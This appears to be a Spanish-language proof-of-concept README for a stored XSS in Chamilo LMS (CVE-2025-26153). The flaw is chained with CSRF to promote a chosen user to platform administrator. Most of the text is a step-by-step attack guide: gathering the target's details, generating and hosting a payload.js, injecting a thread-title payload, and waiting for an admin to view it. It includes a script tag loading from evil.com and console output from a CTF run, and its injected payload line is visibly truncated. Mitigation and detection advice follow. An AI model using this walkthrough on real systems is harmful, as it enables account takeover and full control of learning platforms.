Chamilo LMS (<= v2.0) - XSS Almacenado a Escalada de Privilegios POC [CVE-2025-26153]

Resumen

Este repositorio contiene una prueba de concepto que demuestra una vulnerabilidad de cross-site scripting (XSS) almacenado en Chamilo LMS que puede ser explotada para lograr escalada de privilegios desde un usuario normal hasta administrador de la plataforma. Esta vulnerabilidad está indexada y parcheada: https://nvd.nist.gov/vuln/detail/CVE-2025-26153

Detalles de la Vulnerabilidad

Información CVE

• Aplicación: Chamilo LMS <= v2.0
• Tipo de Vulnerabilidad: XSS Almacenado que lleva a Escalada de Privilegios

Detalles Técnicos

Ubicaciones de Código Vulnerable:

1. /public/main/forum/forumqualify.php - Línea 277

   root@kitploit:~

   $form->addLabel(get_lang('Thread'), $threadEntity->getTitle());
   

2. /public/main/forum/viewforum.php - Línea 369

   root@kitploit:~

   .$thread->getTitle().'</a>';
   

3. ¡Hay más!

Causa Raíz:

• Los títulos de los hilos del foro se almacenan sin la sanitización adecuada
• Los títulos de los hilos se muestran sin escape HTML en múltiples ubicaciones
• No hay una Política de Seguridad de Contenido (CSP) que evite la ejecución del XSS

Guía Paso a Paso de Escalada de Privilegios

Fase 1: Recopilación de Datos

Paso 1: Recopilar Información del Usuario Objetivo

1. Inicia sesión en Chamilo LMS
2. Navega a Social Network -> Personal Data
3. Abre user_info y anota la siguiente información:
   • ID de Usuario
   • Nombre de usuario
   • Nombre
   • Apellido
   • Dirección de correo electrónico

Paso 2: Generar Carga Personalizada

1. Ejecuta el generador de cargas:
   root@kitploit:~

   python generate_payload.py
   

2. Ingresa el ID de Usuario objetivo del Paso 1
3. Ingresa la información de descripción que no deseas que se modifique (o especifica nuevos valores)
4. El script generará un archivo payload.js personalizado

Paso 3: Alojar Carga Externa

1. Sube el archivo payload.js generado a un servicio de alojamiento público:
   • GitHub Gist (recomendado)
   • GitHub Pages
   • Tu propio servidor web
2. Anota la URL directa al archivo de carga

Fase 2: Inyección y Ejecución del XSS

Paso 4: Acceder a Grupos Sociales

1. Inicia sesión en Chamilo LMS (puede ser con cualquier cuenta de usuario)
2. Navega a Social Network -> Social groups

Paso 5: Unirse o Crear un Grupo Social

1. Únete a un grupo social existente, o
2. Crea un nuevo grupo social si es necesario

Paso 6: Desplegar Carga XSS

1. Crea un nuevo hilo en el grupo social
2. En el campo de título del hilo, ingresa la siguiente carga XSS:
   root@kitploit:~

   eval(x.responseText);x.send()">
   

3. Reemplaza YOUR-HOST-SERVER con tu URL de alojamiento real
4. Envía el hilo

Paso 7: Activar la Escalada de Privilegios

1. Espera a que un usuario con privilegios de administrador vea el grupo social
2. Cuando el administrador vea el hilo malicioso, la carga XSS se ejecuta automáticamente en segundo plano
3. La escalada de privilegios NO ocurre en silencio: el administrador será redirigido a la lista de usuarios
4. El usuario objetivo especificado será ascendido a administrador de la plataforma sin ninguna indicación visible

Fase 3: Verificación

Paso 8: Confirmar Escalada de Privilegios

1. Inicia sesión como el usuario objetivo
2. Verifica si se han otorgado privilegios de administrador
3. Confirma el acceso a funciones administrativas

Uso del Generador de Cargas

El script generate_payload.py permite personalizar el ataque de escalada de privilegios:

Parámetros de Entrada:

• ID de Usuario objetivo
• Nuevo nombre de usuario
• Nueva contraseña (opcional)
• Código oficial
• Dirección de correo electrónico
• Nombre, apellido, teléfono (opcional)

Ejemplo de Flujo de Ataque

1. Atacante crea un hilo de foro malicioso
   └── Título: <script src=//evil.com/payload.js></script>

2. El administrador navega al foro y ve el hilo
   └── El navegador carga y ejecuta el JavaScript externo

3. La carga crea un formulario oculto con datos de escalada de privilegios
   └── Apunta un ID de Usuario específico para promoción a administrador

4. El formulario se autoenvía mediante un ataque CSRF
   └── Utiliza automáticamente las cookies de sesión del administrador

5. El usuario objetivo se convierte en administrador de la plataforma
   └── El atacante obtiene control total de la plataforma

Estrategias de Mitigación

Correcciones Inmediatas

1. Sanitización de Entrada

   root@kitploit:~

   // Antes
   $threadEntity->getTitle()
   
   // Después  
   htmlspecialchars($threadEntity->getTitle(), ENT_QUOTES, 'UTF-8')
   

2. Codificación de Salida

   root@kitploit:~

   <!-- Antes -->
   {{ thread.title }}
   
   <!-- Después -->
   {{ thread.title|escape }}
   

3. Política de Seguridad de Contenido

   root@kitploit:~

   Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none';
   

Soluciones a Largo Plazo

• Implementar un marco de validación de entrada exhaustivo
• Revisiones de seguridad del código periódicas
• Pruebas de seguridad automáticas en el pipeline CI/CD
• Capacitación en seguridad para el equipo de desarrollo

Detección y Monitoreo

Análisis de Registros

Monitorear:

• Creaciones/modificaciones inusuales de administradores
• Títulos de hilos del foro sospechosos que contengan HTML/JavaScript
• Carga de scripts externos desde dominios no confiables

Aviso Legal

AVISO LEGAL IMPORTANTE

Esta prueba de concepto se proporciona únicamente con fines educativos y de pruebas de seguridad autorizadas.

• Úsala solo contra sistemas que poseas o para los cuales tengas permiso explícito por escrito
• El acceso no autorizado a sistemas informáticos es ilegal en la mayoría de las jurisdicciones
• Esta investigación tiene la intención de ayudar a las organizaciones a mejorar su postura de seguridad
• Los autores no son responsables del mal uso de esta información

Créditos de la Investigación

Descubrimiento y Análisis: US Cyber Combine

Entorno de Pruebas: Entorno CTF de USCG

Salida de Consola de un Ataque Exitoso:

XSS Payload loaded successfully!
Target User ID: 9
Current location: http://cve-hunting.ctf.uscybergames.com:8000/resources/usergroups/show/5
Form created with action: http://cve-hunting.ctf.uscybergames.com:8000/main/admin/user_edit.php?user_id=9
Submitting privilege escalation form for user_id 9
Form has 66 fields
Form submission triggered!
Fetch response status: 200